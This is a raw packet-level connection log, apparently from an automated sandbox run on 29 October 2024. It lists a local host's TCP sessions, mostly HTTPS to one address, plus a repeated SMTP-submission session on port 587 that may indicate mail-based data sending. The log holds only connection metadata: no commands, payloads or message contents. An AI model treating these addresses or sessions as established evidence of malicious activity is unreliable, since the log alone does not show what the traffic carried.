Oct 29, 2024 13:08:27.197626114 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.197743893 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.197771072 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.197774887 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.283608913 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.283773899 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.283934116 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.283999920 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.283999920 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.284033060 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.284054995 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.286576033 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.286621094 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.286729097 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.286892891 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.286921978 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.305202961 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.305365086 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.305442095 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.305491924 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.305493116 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.305519104 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.305542946 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.307446957 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.307503939 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.307601929 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.307724953 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.307740927 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.794992924 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:27.797887087 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:27.803307056 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:27.929476976 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.930322886 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.930370092 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.931078911 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.931096077 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.932003975 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.932401896 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.932419062 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.933690071 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.933703899 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.940907955 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.941345930 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.941351891 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.941629887 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:27.941633940 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:27.969722986 CET	49785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:27.975059986 CET	80	49785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:27.975127935 CET	49785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:27.975368023 CET	49785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:27.980669975 CET	80	49785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:28.018865108 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.019388914 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.019438028 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.019819021 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.019829988 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.039413929 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.039899111 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.039979935 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.040297031 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.040311098 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.059811115 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.060318947 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.060651064 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.060794115 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.060846090 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.060847044 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.060883999 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.060914040 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.063812971 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.063853025 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.063920021 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.064203978 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.064218998 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.064295053 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:28.069700003 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.085581064 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.085778952 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.085941076 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.085964918 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.085985899 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.086007118 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.086011887 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.088341951 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.088435888 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.088541985 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.088674068 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.088712931 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.147059917 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.147588968 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.147671938 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.147727013 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.147727013 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.147751093 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.147772074 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.150881052 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.150933981 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.151015997 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.151160002 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.151171923 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.160801888 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.160881996 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.161869049 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.161869049 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.162045956 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.162058115 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.164509058 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.164547920 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.164630890 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.164783955 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.164794922 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.170991898 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.171221018 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.171274900 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.171319962 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.171319962 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.171338081 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.171353102 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.173454046 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.173485994 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.173573971 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.173702002 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.173713923 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.326539040 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.329777002 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:28.335349083 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.634689093 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.641820908 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:28.647298098 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.792279005 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.793695927 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.793724060 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.794286013 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.794291973 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.828449965 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.852361917 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.852447987 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.852998972 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.853012085 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.882342100 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.899828911 CET	80	49785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:28.899914980 CET	80	49785	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:28.900002003 CET	49785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:28.903866053 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.904258013 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:28.905447960 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.905477047 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.905976057 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.905983925 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.906491041 CET	49785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:28.906552076 CET	49785	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:28.909318924 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.909781933 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:28.911999941 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.912020922 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.912512064 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.912517071 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.917324066 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.922260046 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.922682047 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.922745943 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.944510937 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.944545031 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.945285082 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.945291042 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.947768927 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.947813988 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.947834969 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.947844028 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.969350100 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.969404936 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.969549894 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.969770908 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.969784975 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.978061914 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.978306055 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.978775024 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.978832960 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.978833914 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.978861094 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.978874922 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.981718063 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.981762886 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:28.982012987 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.982132912 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:28.982145071 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.031500101 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.031588078 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.031652927 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.041946888 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.042037964 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.042098045 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.048295021 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.048325062 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.048341990 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.048348904 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.052575111 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.052592993 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.052608967 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.052613974 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.059031010 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.059077024 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.059248924 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.060223103 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.060261011 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.060571909 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.060908079 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.060924053 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.061734915 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.061744928 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.073554039 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.073765039 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.073829889 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.089365005 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.089389086 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.093122005 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.093185902 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.093257904 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.101160049 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.101185083 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.178232908 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.184178114 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:29.189583063 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.446548939 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.447586060 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:29.447700024 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:29.447700024 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:29.447700024 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:29.452960968 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.452982903 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.453191996 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.453201056 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.845129013 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:29.848155022 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.850928068 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.850960970 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.851440907 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.851448059 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.851850033 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.852390051 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.852473021 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.853024006 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.853043079 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.895328045 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:29.974690914 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.976185083 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.979373932 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.984950066 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.985102892 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.985172033 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:29.987549067 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.988384008 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:29.988449097 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.020318985 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.020328045 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026149988 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026165962 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.026643991 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026654005 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.026837111 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026837111 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026875973 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.026881933 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026881933 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.026904106 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.026932955 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.026962042 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.028215885 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.028229952 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.028639078 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.028650999 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.029175043 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.029189110 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.029578924 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.029587984 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.061732054 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.061768055 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.061830044 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.062731028 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.062788010 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.062876940 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.063916922 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.063931942 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.064024925 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.064058065 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.151993036 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.152375937 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.152456045 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.153491974 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.153515100 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.153528929 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.153534889 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.159404039 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.159473896 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.159543037 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.163652897 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.163701057 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.163765907 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.164366961 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.164388895 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.164561033 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.165116072 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.165144920 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.165163994 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.165170908 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.170747995 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.170766115 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.170783043 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.170790911 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.171911955 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.171922922 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.174377918 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.174407005 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.174489975 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.190040112 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.190066099 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.200258970 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.200313091 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.200396061 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.200651884 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.200668097 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.228722095 CET	49801	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:30.234328032 CET	80	49801	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:30.234397888 CET	49801	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:30.242806911 CET	49801	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:30.248363018 CET	80	49801	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:30.791732073 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.792345047 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.792377949 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.792829990 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.792836905 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.805280924 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.806072950 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.806094885 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.806787014 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.806792974 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.907783985 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.911439896 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.911842108 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.911880970 CET	443	49798	13.107.246.45	192.168.2.5
